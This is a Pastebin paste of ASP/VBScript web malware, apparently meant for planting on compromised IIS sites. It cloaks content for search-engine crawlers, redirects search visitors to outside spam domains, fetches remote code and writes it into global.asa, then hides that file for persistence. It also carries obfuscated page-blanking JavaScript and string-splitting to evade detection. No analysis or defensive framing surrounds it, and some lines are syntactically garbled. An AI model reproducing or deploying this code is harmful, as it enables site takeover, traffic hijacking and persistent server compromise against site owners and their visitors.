UndercodeTesting

xhack

Sep 1st, 2020
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.65 KB | None | 0 0
  1.  
  2. '<html><head><script>function clear(){Source=document.body.firstChild.data;document.open();document.close();document.title="";document.body.innerHTML= Source;}</script></head><body onload=clear()>
  3. '<meta http-equiv=refresh content=0;URL=about:blank><script>eval(function(p,a,c, k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c] ||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[ c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.1.2 (\'3:4\');',5,5,'window|location|replace|about|blank'.split('|'),0,()))</script>
  4. 'by*aming
  5. Server .ScriptTimeout=600
  6. Public Function createasa(ByVal Content)
  7. On Error Resume Next
  8. Set fso = Server.CreateObject("scripting.filesystemobject")
  9. set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
  10. f.Attributes=0
  11. Set Obj = Server.CreateObject("adod" & "bS" & "tream")
  12. Obj.Type = 2
  13. Obj.open
  14. Obj.Charset = "gb2312"
  15. Obj.Position = Obj.Size
  16. Obj.writetext = Content
  17. Obj.SaveToFile "//./" & Server.MapPath("/global.asa"),2
  18. Obj.Close
  19. Set Obj = Nothing
  20. f.Attributes=1+2+4
  21. set f=Nothing
  22. Set fso = Nothing
  23. End Function
  24. Public Function GetHtml(url)
  25. Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
  26. ObjXMLHTTP.Open "GET ",url,False
  27. ObjXMLHTTP.setRequestHeader "User-Agent",url
  28. ObjXMLHTTP.send
  29. GetHtml=ObjXMLHTTP.responseBody
  30. Set ObjXMLHTTP=Nothing
  31. set objStream = Server.CreateObject("Adodb.Stream")
  32. objStream.Type = 1
  33. objStream.Mode = 3
  34. objStream.Open
  35. objStream.Write GetHtml
  36. objStream.Position = 0
  37. objStream.Type = 2
  38. objStream.Charset = "gb2312 "
  39. GetHtml = objStream.ReadText
  40. objStream.Close
  41. End Function
  42. Function check(user_agent)
  43. allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")
  44. check_agent=false
  45. For agenti= lbound(allow_agent) to ubound(allow_agent)
  46. If instr(user_agent,allow_agent(agenti))>0 then
  47. check_agent=true
  48. exit for
  49. end if
  50. Next
  51. check=check_agent
  52. End function
  53. Function CheckRobot()
  54. CheckRobot = False
  55. Dim Botlist,i,Repls
  56. Repls = request.ServerVariables("http_user_agent")
  57. Krobotlist = "Baiduspider|Googlebot"
  58. Botlist = Split(Krobotlist,"|")
  59. For i = 0 To Ubound(Botlist)
  60. If InStr(Repls,Botlist(i))> 0 Then
  61. CheckRobot = True
  62. Exit For
  63. End If
  64. Next
  65. If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1
  66. If Session( "ThisCheckRobot") = 1 Then CheckRobot = True
  67. End Function
  68. Function CheckRefresh()
  69. CheckRefresh = False
  70. Dim Botlist,i,Repls
  71. Krobotlist = "baidu|google|sogou|soso|youdao"
  72. Botlist = Split(Krobotlist,"|")
  73. For i = 0 To Ubound(Botlist)
  74. If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i))> 0 Then
  75. CheckRefresh = True
  76. Exit For
  77. End If
  78. Next
  79. End Function
  80. Sub sleep()
  81. If response.IsClientConnected=true then
  82. Response.Flush
  83. else
  84. response.end
  85. end if
  86. End Sub
  87. If CheckRefresh=true Then
  88. cnnbd=lcase(request.servervariables("HTTP_HOST"))
  89. response.redirect( "http://www.82767.com/?"&cnnbd&"")
  90. 'Response.Write("<a href=http://www.82767.com><font _fcksavedurl="http://www.82767.com><font" color=#FF0000>If your browser does not support To jump, please click to enter >>>>>></font></a><div style=display:none><script src=http://count11.51yes.com/click.aspx?id=114814173&logo= 12></script></div><script _fcksavedurl="http://count11.51yes.com/click.aspx?id=114814173&logo=12></script></div><script" src=http: //js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script>")
  91. response.end
  92. end If
  93. user_agent=Request.ServerVariables ("HTTP_USER_AGENT")
  94. if check(user_agent)=true then
  95. body=GetHtml("http://fudu.qpedu.cn/xml/prn/con.2.asp?domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables("HTTP_USER_AGENT"))&"")
  96. response.write body
  97. response.end
  98. else
  99. asa=GetHtml("http://www.pornhome.com/dy7749/codequan.txt")
  100. if instr(asa,"by*
  101. aming ")>0 then createasa(asa)
  102. end if
  103. ScriptAddress=Request.ServerVariables("SCRIPT_NAME ")
  104. namepath=Server.MapPath(ScriptAddress)
  105. If Len(Request.QueryString)> 0 Then
  106. ScriptAddress = ScriptAddress & "?" & Request.QueryString
  107. end if
  108. geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress
  109. geturl =LCase(geturl)
  110. 'response.write replace(namepath,server.MapPath("/"),"")
  111. 'response.end'if
  112. instr(geturl,"jc=ok")=0 and instr(geturl) ,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and
  113. if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then
  114. agent = lcase(request.servervariables("http_user_agent") )
  115. referer = LCase(Request.ServerVariables("HTTP_REFERER"))
  116. bot = ""
  117. Amll = ""
  118. if instr(agent, "+")> 0 then bot = agent
  119. if instr(agent, "-")> 0 then bot = agent
  120. if instr(agent, "http")> 0 then bot = agent
  121. if instr(agent, "spider")>0 then bot = agent
  122. if instr(agent, "bot")> 0 then bot = agent
  123. if instr(agent, "linux")> 0 then bot = agent
  124. if instr(agent, "baidu")> 0 then bot = agent
  125. if instr(agent, "google")> 0 then bot = "nobot"
  126. if instr(agent, "yahoo")> 0 then bot = "nobot"
  127. if instr(agent, "msn")> 0 then bot = "nobot"
  128. if instr(agent, "alexa")> 0 then bot = "nobot"
  129. if instr(agent, "sogou")> 0 then bot = "nobot"
  130. if instr(agent, "youdao")> 0 then bot = "nobot"
  131. if instr(agent, "soso")> 0 then bot = "nobot"
  132. if instr(agent, "iask")> 0 then bot = "nobot "
  133. if bot="nobot"
  134. then'Call WriteErr'response
  135. .end
  136. end if
  137. Call sleep()
  138. end if
  139. end if
  140. '</body></html>
  141.  
Add Comment
Please, Sign In to add comment